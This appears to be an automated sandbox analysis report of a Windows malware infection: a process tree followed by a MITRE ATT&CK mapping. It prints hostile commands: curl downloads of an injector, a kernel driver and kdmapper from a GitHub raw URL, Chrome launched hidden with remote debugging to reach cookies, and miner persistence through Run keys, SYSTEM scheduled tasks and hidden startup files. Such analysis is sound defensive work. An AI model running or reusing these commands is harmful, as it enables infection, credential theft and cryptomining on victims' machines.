                                                                                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                              7⤵
                                                                                                                              • Uses browser remote debugging
                                                                                                                              PID:5284
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                                8⤵
                                                                                                                                  PID:1080
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1572,i,3601985094576722611,13304830092299411788,262144 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:2
                                                                                                                                  8⤵
                                                                                                                                    PID:6032
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1804,i,7077165361427625661,17735775063050350440,524288 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:11
                                                                                                                                    8⤵
                                                                                                                                    • System Time Discovery
                                                                                                                                    PID:5828
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1948,i,181588644003653897,1793667013548137230,524288 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:13
                                                                                                                                    8⤵
                                                                                                                                      PID:3232
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2800,i,3375740788737832700,11801578446967054741,2097152 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:1
                                                                                                                                      8⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:5976
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2812,i,16625279150799841009,9445570157576929308,2097152 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=2992 /prefetch:1
                                                                                                                                      8⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:4196
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3452,i,4871613654689838444,7586449494647668593,2097152 --field-trial-handle=2404,i,18397313030636167115,15651115258690482862,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:9
                                                                                                                                      8⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:1180
                                                                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                    taskkill /F /IM chrome.exe
                                                                                                                                    7⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:3448
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                                    7⤵
                                                                                                                                    • Uses browser remote debugging
                                                                                                                                    PID:5292
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                                      8⤵
                                                                                                                                        PID:6016
                                                                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                      taskkill /F /IM chrome.exe
                                                                                                                                      7⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:5428
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                                      7⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:6372
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xd4,0xd8,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                                        8⤵
                                                                                                                                          PID:6392
                                                                                                                          • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                            "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                            1⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Enumerates system info in registry
                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:4660
                                                                                                                          • C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                            C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Modifies registry class
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:5400
                                                                                                                            • C:\Windows\SysWOW64\._cache_Synaptics.exe
                                                                                                                              "C:\Windows\system32\._cache_Synaptics.exe"
                                                                                                                              2⤵
                                                                                                                              • Downloads MZ/PE file
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Drops file in System32 directory
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:1044
                                                                                                                              • C:\Windows\SysWOW64\Files\main.exe
                                                                                                                                "C:\Windows\System32\Files\main.exe"
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                PID:2484
                                                                                                                                • C:\Windows\SysWOW64\Files\main.exe
                                                                                                                                  "C:\Windows\System32\Files\main.exe"
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • Drops file in System32 directory
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:1300
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                    5⤵
                                                                                                                                      PID:4844
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                                                                                                                                      5⤵
                                                                                                                                        PID:5864
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                                                                                                                                        5⤵
                                                                                                                                          PID:3532
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                                                                                                                                          5⤵
                                                                                                                                            PID:2600
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                                                                                                                                            5⤵
                                                                                                                                              PID:5976
                                                                                                                                        • C:\Windows\SysWOW64\Files\loader.exe
                                                                                                                                          "C:\Windows\System32\Files\loader.exe"
                                                                                                                                          3⤵
                                                                                                                                            PID:2560
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              4⤵
                                                                                                                                                PID:5936
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareogfn.dll https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/SonyGamaManager.dll --silent > nul 2>&1
                                                                                                                                                4⤵
                                                                                                                                                  PID:1340
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\injectorOld.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/injectorOld.exe --silent > nul 2>&1
                                                                                                                                                  4⤵
                                                                                                                                                    PID:6104
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\driver.sys https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/driver.sys --silent > nul 2>&1
                                                                                                                                                    4⤵
                                                                                                                                                      PID:756
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\mapper.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/kdmapper_Release.exe --silent > nul 2>&1
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1696
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c curl -o C:\Windows\Temp\dwareinj.exe https://raw.githubusercontent.com/LeakerByDragon1/LeakerByDragon1/main/pclient.exe --silent > nul 2>&1
                                                                                                                                                        4⤵
                                                                                                                                                          PID:2944
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c cls
                                                                                                                                                          4⤵
                                                                                                                                                            PID:4956
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c cls
                                                                                                                                                            4⤵
                                                                                                                                                              PID:4956
                                                                                                                                                          • C:\Windows\SysWOW64\Files\Cloudy.exe
                                                                                                                                                            "C:\Windows\System32\Files\Cloudy.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4892
                                                                                                                                                            • C:\Windows\SysWOW64\Files\Fast%20Download.exe
                                                                                                                                                              "C:\Windows\System32\Files\Fast%20Download.exe"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:700
                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                  PID:2916
                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                  PID:2620
                                                                                                                                                              • C:\Windows\SysWOW64\Files\audi.exe
                                                                                                                                                                "C:\Windows\System32\Files\audi.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3388
                                                                                                                                                                  • C:\Program Files (x86)\1.exe
                                                                                                                                                                    "C:\Program Files (x86)\1.exe" 0
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:4896
                                                                                                                                                                      • C:\Windows\SysWOW64\Files\._cache_1.exe
                                                                                                                                                                        "C:\Windows\system32\Files\._cache_1.exe" 0
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:6116
                                                                                                                                                                      • C:\Program Files (x86)\2.exe
                                                                                                                                                                        "C:\Program Files (x86)\2.exe" 0
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:5576
                                                                                                                                                                          • C:\Windows\SysWOW64\Files\._cache_2.exe
                                                                                                                                                                            "C:\Windows\system32\Files\._cache_2.exe" 0
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:4244
                                                                                                                                                                          • C:\Program Files (x86)\3.exe
                                                                                                                                                                            "C:\Program Files (x86)\3.exe" 0
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3384
                                                                                                                                                                            • C:\Program Files (x86)\4.exe
                                                                                                                                                                              "C:\Program Files (x86)\4.exe" 0
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:6288
                                                                                                                                                                              • C:\Windows\wic.exe
                                                                                                                                                                                "C:\Windows\wic.exe" 0
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:6792
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:4820
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5668
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:1212
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:5428
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:900
                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Drops startup file
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                      PID:2972
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3356
                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                          taskkill /f /im tftp.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                          PID:4024
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tftp.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4308
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3760
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:5592
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:1760
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:2416
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4444
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:4116
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Power Settings
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:4924
                                                                                                                                                                                        • C:\Windows\SysWOW64\powercfg.exe
                                                                                                                                                                                          powercfg /CHANGE -standby-timeout-ac 0
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Power Settings
                                                                                                                                                                                          PID:896
                                                                                                                                                                                        • C:\Windows\SysWOW64\powercfg.exe
                                                                                                                                                                                          powercfg /CHANGE -hibernate-timeout-ac 0
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Power Settings
                                                                                                                                                                                          PID:232
                                                                                                                                                                                        • C:\Windows\SysWOW64\powercfg.exe
                                                                                                                                                                                          Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Power Settings
                                                                                                                                                                                          PID:5100
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:4900
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:4400
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\pf1qsoQUhlb2.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\pf1qsoQUhlb2.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Drops startup file
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                          PID:5984
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:3152
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:1752
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:8
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:6024
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:5700
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4776 -ip 4776
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:4988
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:3448
                                                                                                                                                                                                      • C:\Windows\SysWOW64\montanasounds.exe
                                                                                                                                                                                                        "C:\Windows\SysWOW64\montanasounds.exe"
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5124
                                                                                                                                                                                                          • C:\Windows\SysWOW64\montanasounds.exe
                                                                                                                                                                                                            "C:\Windows\SysWOW64\montanasounds.exe"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5024
                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:2592
                                                                                                                                                                                                              • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{56c4ef7c-503c-ae42-aad5-a122e3c4317c}\ndisrd_lwf.inf" "9" "4bd8d163f" "000000000000014C" "WinSta0\Default" "0000000000000160" "208" "C:\Users\Admin\AppData\Local\Temp\Files"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:396

                                                                                                                                                                                                              Network

                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1556

                                                                                                                                                                                                                    Power Settings

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1653

                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                    Hide Artifacts

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1564

                                                                                                                                                                                                                    Hidden Files and Directories

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1564.001

                                                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1556

                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                    Credentials from Password Stores

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1555

                                                                                                                                                                                                                    Credentials from Web Browsers

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1555.003

                                                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1556

                                                                                                                                                                                                                    Steal Web Session Cookie

                                                                                                                                                                                                                    1
                                                                                                                                                                                                                    T1539

                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                    3
                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                                                    2
                                                                                                                                                                                                                    T1552.001

                                                                                                                                                                                                                    Credentials in Registry

                                                                                                                                                                                                                    1
